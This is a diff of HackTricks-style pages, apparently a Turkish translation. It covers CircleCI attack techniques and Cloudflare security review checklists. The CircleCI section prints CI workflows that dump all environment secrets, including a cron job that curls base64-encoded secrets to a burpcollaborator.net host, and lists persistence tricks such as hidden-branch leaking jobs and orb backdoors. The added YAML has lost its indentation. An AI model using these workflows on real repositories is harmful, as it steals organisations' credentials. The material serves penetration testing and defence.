`CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` veya `CIRCLE_USERNAME`. -#### Clear text - -You can declare them in clear text inside a **command**: +#### Düz metin +Bunları bir **komut** içinde düz metin olarak tanımlayabilirsiniz: ```yaml - run: - name: "set and echo" - command: | - SECRET="A secret" - echo $SECRET +name: "set and echo" +command: | +SECRET="A secret" +echo $SECRET ``` - -You can declare them in clear text inside the **run environment**: - +**Çalışma ortamı** içinde açık metin olarak tanımlayabilirsiniz: ```yaml - run: - name: "set and echo" - command: echo $SECRET - environment: - SECRET: A secret +name: "set and echo" +command: echo $SECRET +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **build-job environment**: - +**build-job ortamı** içinde açık metin olarak tanımlayabilirsiniz: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **environment of a container**: - +**Bir konteynerin ortamında** açık metin olarak tanımlayabilirsiniz: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` +#### Proje Gizli Bilgileri -#### Project Secrets - -These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ -You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +Bunlar, yalnızca **proje** (her **dal** tarafından) **erişilebilir** olan **gizli bilgilerdir**.\ +Onları _https://app.circleci.com/settings/project/github/\/\/environment-variables_ adresinde **tanımlanmış** olarak görebilirsiniz. ![](<../images/image (129).png>) > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. +> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır. -#### Context Secrets +#### Bağlam Gizli Bilgileri -These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: +Bunlar, **örgüt genelinde** olan gizli bilgilerdir. **Varsayılan olarak herhangi bir repo**, burada saklanan **herhangi bir gizli bilgiye** **erişebilecektir**: ![](<../images/image (123).png>) > [!TIP] -> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\ -> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people. +> Ancak, farklı bir grup (Tüm üyeler yerine) **belirli kişilere gizli bilgilere erişim vermek için seçilebilir**.\ +> Bu, gizli bilgilerin **güvenliğini artırmanın** en iyi yollarından biridir; herkesin erişmesine izin vermek yerine sadece bazı kişilerin erişmesine izin verir. -### Attacks +### Saldırılar -#### Search Clear Text Secrets +#### Açık Metin Gizli Bilgilerini Arama -If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. +Eğer **VCS'ye** (github gibi) **erişiminiz** varsa, her **repo üzerindeki her dalın** `.circleci/config.yml` dosyasını kontrol edin ve orada saklanan potansiyel **açık metin gizli bilgileri** **arama** yapın. -#### Secret Env Vars & Context enumeration +#### Gizli Çevre Değişkenleri ve Bağlam Sıralaması -Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. +Kodu kontrol ederek, her `.circleci/config.yml` dosyasında **kullanılan tüm gizli bilgi adlarını** bulabilirsiniz. Ayrıca, bu dosyalardan **bağlam adlarını** alabilir veya bunları web konsolunda kontrol edebilirsiniz: _https://app.circleci.com/settings/organization/github/\/contexts_. -#### Exfiltrate Project secrets +#### Proje gizli bilgilerini dışarıya aktarma > [!WARNING] -> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). +> Tüm proje ve bağlam **GİZLİ BİLGİLERİNİ** **dışarıya aktarmak** için, **tüm github örgütünde yalnızca 1 repo** üzerinde **YAZMA** erişimine sahip olmanız **yeterlidir** (_ve hesabınızın bağlamlara erişimi olmalıdır, ancak varsayılan olarak herkes her bağlama erişebilir_). > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**. - -All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**: +> "**Değişkenleri İçe Aktar**" işlevi, **diğer projelerden değişkenleri** bu projeye **içe aktarmaya** olanak tanır. Bu nedenle, bir saldırgan **tüm repo'lardan tüm proje değişkenlerini içe aktarabilir** ve ardından **hepsini birlikte dışarıya aktarabilir**. +Tüm proje gizli bilgileri her zaman işlerin çevresinde ayarlanır, bu nedenle sadece çevreyi çağırmak ve base64 ile obfuscate etmek, gizli bilgileri **iş akışları web günlük konsolunda** dışarıya aktaracaktır: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env +exfil-env-workflow: +jobs: +- exfil-env ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, sadece **her dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışı** oluşturabilirsiniz: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env ``` +#### Bağlam Gizli Bilgilerini Sızdırma -#### Exfiltrate Context Secrets - -You need to **specify the context name** (this will also exfiltrate the project secrets): - +**bağlam adını belirtmeniz gerekir** (bu aynı zamanda proje gizli bilgilerini de sızdıracaktır): ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +jobs: +- exfil-env: +context: Test-Context ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +Eğer **web konsoluna erişiminiz yoksa** ama **repo'ya erişiminiz varsa** ve CircleCI'nin kullanıldığını biliyorsanız, her **dakika tetiklenen** ve **gizli bilgileri harici bir adrese sızdıran** bir **iş akışını** sadece **değiştirebilirsiniz**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env: +context: Test-Context ``` - > [!WARNING] -> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**. +> Sadece bir repo içinde yeni bir `.circleci/config.yml` oluşturmak **circleci build'ini tetiklemek için yeterli değildir**. Bunu **circleci konsolunda bir proje olarak etkinleştirmeniz gerekir**. -#### Escape to Cloud +#### Buluta Kaçış -**CircleCI** gives you the option to run **your builds in their machines or in your own**.\ -By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**. - -Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions): +**CircleCI**, **build'lerinizi kendi makinelerinde veya kendi makinelerinizde çalıştırma** seçeneği sunar.\ +Varsayılan olarak, onların makineleri GCP'de bulunmaktadır ve başlangıçta ilgili bir şey bulamayacaksınız. Ancak, bir kurban **kendi makinelerinde (potansiyel olarak, bir bulut ortamında)** görevleri çalıştırıyorsa, üzerinde ilginç bilgiler bulunan bir **bulut metadata uç noktası** bulabilirsiniz. +Önceki örneklerde her şeyin bir docker konteyneri içinde başlatıldığını unutmayın, ancak ayrıca **bir VM makinesi başlatmasını isteyebilirsiniz** (farklı bulut izinlerine sahip olabilir): ```yaml jobs: - exfil-env: - #docker: - # - image: cimg/base:stable - machine: - image: ubuntu-2004:current +exfil-env: +#docker: +# - image: cimg/base:stable +machine: +image: ubuntu-2004:current ``` - -Or even a docker container with access to a remote docker service: - +Veya uzaktan bir docker hizmetine erişimi olan bir docker konteyneri: ```yaml jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - setup_remote_docker: - version: 19.03.13 +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- setup_remote_docker: +version: 19.03.13 ``` +#### Süreklilik -#### Persistence - -- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access. - - _https://app.circleci.com/settings/user/tokens_ -- It's possible to **create projects tokens** to access the project with the permissions given to the token. - - _https://app.circleci.com/settings/project/github/\/\/api_ -- It's possible to **add SSH keys** to the projects. - - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday. - - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday. -- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor** -- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value +- CircleCI'de **kullanıcı tokenleri oluşturmak** mümkündür, böylece kullanıcı erişimi ile API uç noktalarına erişim sağlanabilir. +- _https://app.circleci.com/settings/user/tokens_ +- **Proje tokenleri oluşturmak** mümkündür, böylece token'e verilen izinlerle projeye erişim sağlanabilir. +- _https://app.circleci.com/settings/project/github/\/\/api_ +- Projelere **SSH anahtarları eklemek** mümkündür. +- _https://app.circleci.com/settings/project/github/\/\/ssh_ +- Her gün tüm **context env** değişkenlerini **sızdıran** beklenmedik bir projede **gizli dalda bir cron işi oluşturmak** mümkündür. +- Ya da her gün tüm context ve **projelerin gizli bilgilerini** **sızdıran** bilinen bir işi bir dalda oluşturmak / değiştirmek mümkündür. +- Eğer bir github sahibiyseniz, **doğrulanmamış orb'lere** izin verebilir ve bir işi **arka kapı** olarak yapılandırabilirsiniz. +- Bazı görevlerde bir **komut enjeksiyonu açığı** bulabilir ve bir **gizli** değerini değiştirerek **komutlar enjekte** edebilirsiniz. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 77d2c2c50..87afcc5c6 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -1,138 +1,134 @@ -# Cloudflare Security +# Cloudflare Güvenliği {{#include ../../banners/hacktricks-training.md}} -In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Bir Cloudflare hesabında yapılandırılabilecek bazı **genel ayarlar ve hizmetler** bulunmaktadır. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
-## Websites +## Web Siteleri -Review each with: +Her birini gözden geçirin: {{#ref}} cloudflare-domains.md {{#endref}} -### Domain Registration +### Alan Adı Kaydı -- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. +- [ ] **`Alan Adlarını Aktar`** kısmında herhangi bir alan adının aktarımının mümkün olmadığını kontrol edin. -Review each with: +Her birini gözden geçirin: {{#ref}} cloudflare-domains.md {{#endref}} -## Analytics +## Analitik -_I couldn't find anything to check for a config security review._ +_Güvenlik yapılandırma incelemesi için kontrol edilecek bir şey bulamadım._ -## Pages +## Sayfalar -On each Cloudflare's page: +Her Cloudflare sayfasında: -- [ ] Check for **sensitive information** in the **`Build log`**. -- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. -- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/). -- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). -- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** -- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. -- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. +- [ ] **`Build log`** kısmında **hassas bilgileri** kontrol edin. +- [ ] Sayfalara atanan **Github deposunda** **hassas bilgileri** kontrol edin. +- [ ] **workflow command injection** veya `pull_request_target` ihlali yoluyla potansiyel github repo ihlalini kontrol edin. Daha fazla bilgi için [**Github Güvenlik sayfası**](../github-security/)na bakın. +- [ ] `/fuctions` dizininde **zayıf fonksiyonları** kontrol edin (varsa), `_redirects` dosyasındaki **yönlendirmeleri** kontrol edin (varsa) ve `_headers` dosyasındaki **yanlış yapılandırılmış başlıkları** kontrol edin (varsa). +- [ ] **Kod erişiminiz varsa** **blackbox** veya **whitebox** ile **web sayfasındaki** **zayıflıkları** kontrol edin. +- [ ] Her sayfanın detaylarında `//pages/view/blocklist/settings/functions`. **`Çevre değişkenleri`** kısmında **hassas bilgileri** kontrol edin. +- [ ] Detay sayfasında ayrıca **build komutunu** ve **kök dizini** kontrol edin, sayfayı tehlikeye atabilecek **potansiyel enjeksiyonlar** için. ## **Workers** -On each Cloudflare's worker check: +Her Cloudflare işçisinde kontrol edin: -- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? -- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** -- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) - - Check for SSRFs returning the indicated page that you can control - - Check XSSs executing JS inside a svg image - - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. +- [ ] Tetikleyiciler: İşçiyi tetikleyen nedir? Bir **kullanıcı veri gönderebilir mi** ve bu veri işçi tarafından **kullanılabilir mi**? +- [ ] **`Ayarlar`** kısmında, **hassas bilgileri** içeren **`Değişkenleri`** kontrol edin. +- [ ] **İşçi kodunu** kontrol edin ve **zayıflıkları** arayın (özellikle kullanıcının girişi yönetebileceği yerlerde). +- Kontrol edebileceğiniz belirtilen sayfayı döndüren SSRF'leri kontrol edin. +- Bir svg resminin içinde JS çalıştıran XSS'leri kontrol edin. +- İşçinin diğer iç hizmetlerle etkileşimde bulunması mümkündür. Örneğin, bir işçi, girdi ile elde edilen bilgileri depolayan bir R2 kovası ile etkileşimde bulunabilir. Bu durumda, işçinin R2 kovası üzerindeki yeteneklerini ve kullanıcı girdisinden nasıl kötüye kullanılabileceğini kontrol etmek gerekecektir. > [!WARNING] -> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. +> Varsayılan olarak bir **İşçiye** `..workers.dev` gibi bir URL verilir. Kullanıcı bunu bir **alt alan adı** olarak ayarlayabilir, ancak eğer biliyorsanız her zaman bu **orijinal URL** ile erişebilirsiniz. ## R2 -On each R2 bucket check: +Her R2 kovasında kontrol edin: -- [ ] Configure **CORS Policy**. +- [ ] **CORS Politikasını** yapılandırın. -## Stream +## Akış TODO -## Images +## Görseller TODO -## Security Center +## Güvenlik Merkezi -- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. -- [ ] Just **check this information** for security misconfigurations and interesting info +- [ ] Mümkünse, **`Güvenlik İçgörüleri`** **taraması** ve **`Altyapı`** **taraması** çalıştırın, çünkü bunlar **güvenlik** açısından ilginç bilgileri **vurgulayacaktır**. +- [ ] Sadece **güvenlik yanlış yapılandırmaları** ve ilginç bilgiler için bu bilgileri **kontrol edin**. ## Turnstile TODO -## **Zero Trust** +## **Sıfır Güven** {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -## Bulk Redirects +## Toplu Yönlendirmeler > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. +> [Dinamik Yönlendirmeler](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) ile karşılaştırıldığında, [**Toplu Yönlendirmeler**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) esasen statiktir — **herhangi bir dize değiştirme** işlemini veya düzenli ifadeleri desteklemez. Ancak, URL eşleşme davranışlarını ve çalışma zamanı davranışlarını etkileyen URL yönlendirme parametrelerini yapılandırabilirsiniz. -- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. -- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. +- [ ] **İfadelerin** ve **yönlendirmeler için gereksinimlerin** **mantıklı** olduğunu kontrol edin. +- [ ] Ayrıca, ilginç bilgiler içeren **hassas gizli uç noktaları** kontrol edin. -## Notifications +## Bildirimler -- [ ] Check the **notifications.** These notifications are recommended for security: - - `Usage Based Billing` - - `HTTP DDoS Attack Alert` - - `Layer 3/4 DDoS Attack Alert` - - `Advanced HTTP DDoS Attack Alert` - - `Advanced Layer 3/4 DDoS Attack Alert` - - `Flow-based Monitoring: Volumetric Attack` - - `Route Leak Detection Alert` - - `Access mTLS Certificate Expiration Alert` - - `SSL for SaaS Custom Hostnames Alert` - - `Universal SSL Alert` - - `Script Monitor New Code Change Detection Alert` - - `Script Monitor New Domain Alert` - - `Script Monitor New Malicious Domain Alert` - - `Script Monitor New Malicious Script Alert` - - `Script Monitor New Malicious URL Alert` - - `Script Monitor New Scripts Alert` - - `Script Monitor New Script Exceeds Max URL Length Alert` - - `Advanced Security Events Alert` - - `Security Events Alert` -- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** - - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** +- [ ] **Bildirimleri** kontrol edin. Bu bildirimler güvenlik için önerilmektedir: +- `Kullanıma Dayalı Faturalama` +- `HTTP DDoS Saldırı Uyarısı` +- `Katman 3/4 DDoS Saldırı Uyarısı` +- `Gelişmiş HTTP DDoS Saldırı Uyarısı` +- `Gelişmiş Katman 3/4 DDoS Saldırı Uyarısı` +- `Akış Tabanlı İzleme: Hacimsel Saldırı` +- `Yönlendirme Sızıntısı Tespit Uyarısı` +- `Erişim mTLS Sertifika Süresi Dolma Uyarısı` +- `SaaS Özel Alan Adları için SSL Uyarısı` +- `Evrensel SSL Uyarısı` +- `Script Monitor Yeni Kod Değişikliği Tespit Uyarısı` +- `Script Monitor Yeni Alan Adı Uyarısı` +- `Script Monitor Yeni Kötü Amaçlı Alan Adı Uyarısı` +- `Script Monitor Yeni Kötü Amaçlı Script Uyarısı` +- `Script Monitor Yeni Kötü Amaçlı URL Uyarısı` +- `Script Monitor Yeni Scriptler Uyarısı` +- `Script Monitor Yeni Script Maksimum URL Uzunluğunu Aşma Uyarısı` +- `Gelişmiş Güvenlik Olayları Uyarısı` +- `Güvenlik Olayları Uyarısı` +- [ ] Tüm **hedefleri** kontrol edin, çünkü webhook URL'lerinde **hassas bilgiler** (temel http kimlik doğrulaması) olabilir. Ayrıca webhook URL'lerinin **HTTPS** kullandığından emin olun. +- [ ] Ek bir kontrol olarak, belki bir şekilde **tehlikeli bir şey enjekte edebilirsiniz** diye bir üçüncü tarafa **cloudflare bildirimini taklit etmeyi** deneyebilirsiniz. -## Manage Account +## Hesabı Yönet -- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. -- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. -- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. - - Therefore, whenever possible is **recommended** to use the **Enterprise plan**. -- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. +- [ ] **Son 4 haneli kredi kartı**, **son kullanma** tarihi ve **fatura adresi** **`Faturalama` -> `Ödeme bilgileri`** kısmında görülebilir. +- [ ] Hesapta kullanılan **plan türünü** **`Faturalama` -> `Abonelikler`** kısmında görebilirsiniz. +- [ ] **`Üyeler`** kısmında hesabın tüm üyeleri ve onların **rolleri** görülebilir. Plan türü Enterprise değilse, yalnızca 2 rol vardır: Yönetici ve Süper Yönetici. Ancak kullanılan **plan Enterprise** ise, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir ve bu da en az ayrıcalık ilkesine uyulmasını sağlar. +- Bu nedenle, mümkün olduğunda **Enterprise planı** kullanılması **önerilir**. +- [ ] Üyeler kısmında hangi **üyelerin** **2FA etkin** olduğunu kontrol edebilirsiniz. **Her** kullanıcının bunu etkinleştirmesi gerekir. > [!NOTE] -> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) +> Neyse ki, **`Yönetici`** rolü, üyelikleri yönetme izinleri vermez (**yetki artırma veya** yeni üyeler davet etme **mümkün değildir**). -## DDoS Investigation +## DDoS Soruşturması -[Check this part](cloudflare-domains.md#cloudflare-ddos-protection). +[Bu kısmı kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection). {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 02989e685..3a21db0b3 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -2,29 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:** +Cloudflare'da yapılandırılan her TLD'de bazı **genel ayarlar ve hizmetler** yapılandırılabilir. Bu sayfada her bölümün **güvenlikle ilgili ayarlarını analiz edeceğiz:**
### Overview -- [ ] Get a feeling of **how much** are the services of the account **used** -- [ ] Find also the **zone ID** and the **account ID** +- [ ] Hesabın **hizmetlerinin ne kadar** **kullanıldığını** anlamak +- [ ] Ayrıca **zone ID** ve **account ID** bulmak ### Analytics -- [ ] In **`Security`** check if there is any **Rate limiting** +- [ ] **`Security`** bölümünde herhangi bir **Rate limiting** olup olmadığını kontrol et ### DNS -- [ ] Check **interesting** (sensitive?) data in DNS **records** -- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com) -- [ ] Check for web pages that **aren't** **proxied** -- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address -- [ ] Check that **DNSSEC** is **enabled** -- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs** - - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings -- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] DNS **kayıtlarında** **ilginç** (hassas?) verileri kontrol et +- [ ] **İsim** (örneğin admin173865324.domin.com) temelinde **hassas bilgi** içerebilecek **alt alan adlarını** kontrol et +- [ ] **Proxylenmemiş** web sayfalarını kontrol et +- [ ] CNAME veya IP adresi ile **doğrudan erişilebilen** **proxylenmiş web sayfalarını** kontrol et +- [ ] **DNSSEC**'in **etkin** olduğunu kontrol et +- [ ] **Tüm CNAME'lerde** **CNAME Flattening**'in **kullanıldığını** kontrol et +- Bu, **alt alan adı ele geçirme açıklarını gizlemek** ve yükleme sürelerini iyileştirmek için faydalı olabilir +- Alan adlarının [**sahtecilik için savunmasız olmadığını**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) kontrol et ### **Email** @@ -38,44 +38,44 @@ TODO #### **Overview** -- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point. -- [ ] The **SSL/TLS Recommender** should be enabled +- **SSL/TLS şifrelemesi** **Full** veya **Full (Strict)** olmalıdır. Diğer herhangi bir seçenek, bir noktada **düz metin trafiği** gönderecektir. +- **SSL/TLS Recommender** etkin olmalıdır #### Edge Certificates -- [ ] **Always Use HTTPS** should be **enabled** -- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled** -- [ ] **Minimum TLS Version should be 1.2** -- [ ] **TLS 1.3 should be enabled** -- [ ] **Automatic HTTPS Rewrites** should be **enabled** -- [ ] **Certificate Transparency Monitoring** should be **enabled** +- **Always Use HTTPS** **etkin** olmalıdır +- **HTTP Strict Transport Security (HSTS)** **etkin** olmalıdır +- **Minimum TLS Versiyonu 1.2** olmalıdır +- **TLS 1.3** **etkin** olmalıdır +- **Automatic HTTPS Rewrites** **etkin** olmalıdır +- **Certificate Transparency Monitoring** **etkin** olmalıdır ### **Security** -- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses. - - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used. -- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used -- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare -- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections** -- [ ] In the **`Settings`** section: - - [ ] Check that the **`Security Level`** is **medium** or greater - - [ ] Check that the **`Challenge Passage`** is 1 hour at max - - [ ] Check that the **`Browser Integrity Check`** is **enabled** - - [ ] Check that the **`Privacy Pass Support`** is **enabled** +- **`WAF`** bölümünde, **Firewall** ve **rate limiting kurallarının kullanıldığını** kontrol etmek ilginçtir. +- **`Bypass`** eylemi, bir istekte **Cloudflare güvenlik** özelliklerini **devre dışı bırakır**. Kullanılmamalıdır. +- **`Page Shield`** bölümünde, herhangi bir sayfa kullanılıyorsa **etkin** olduğunu kontrol etmek önerilir +- **`API Shield`** bölümünde, Cloudflare'da herhangi bir API açığa çıkmışsa **etkin** olduğunu kontrol etmek önerilir +- **`DDoS`** bölümünde, **DDoS korumalarının** etkinleştirilmesi önerilir +- **`Settings`** bölümünde: +- **`Security Level`**'ın **orta** veya daha yüksek olduğunu kontrol et +- **`Challenge Passage`**'ın en fazla 1 saat olduğunu kontrol et +- **`Browser Integrity Check`**'in **etkin** olduğunu kontrol et +- **`Privacy Pass Support`**'ın **etkin** olduğunu kontrol et #### **CloudFlare DDoS Protection** -- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access. -- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie. - - If the attack is from a **verified bot**, at least **add a rate limit** to bots. - - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path. - - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF. - - Check if **Managed rules** could also help to prevent vulnerability exploitations. - - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.** -- In DDoS you could **override some rules to make them more restrictive**. -- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**. -- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled -- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events** +- Eğer mümkünse, **Bot Fight Mode** veya **Super Bot Fight Mode**'u etkinleştir. Programatik olarak erişilen bazı API'leri koruyorsanız (örneğin bir JS ön yüz sayfasından). Bu erişimi bozmadan etkinleştiremeyebilirsiniz. +- **WAF**'da: **URL yolu** veya **doğrulanmış botlar** için **rate limit** oluşturabilirsiniz (Rate limiting kuralları), veya **IP, Cookie, referans** vb. temelinde **erişimi engelleyebilirsiniz**. Böylece bir web sayfasından gelmeyen veya bir çerezi olmayan istekleri engelleyebilirsiniz. +- Eğer saldırı bir **doğrulanmış bot** tarafından geliyorsa, en azından **botlar için bir rate limit** ekleyin. +- Eğer saldırı **belirli bir yola** 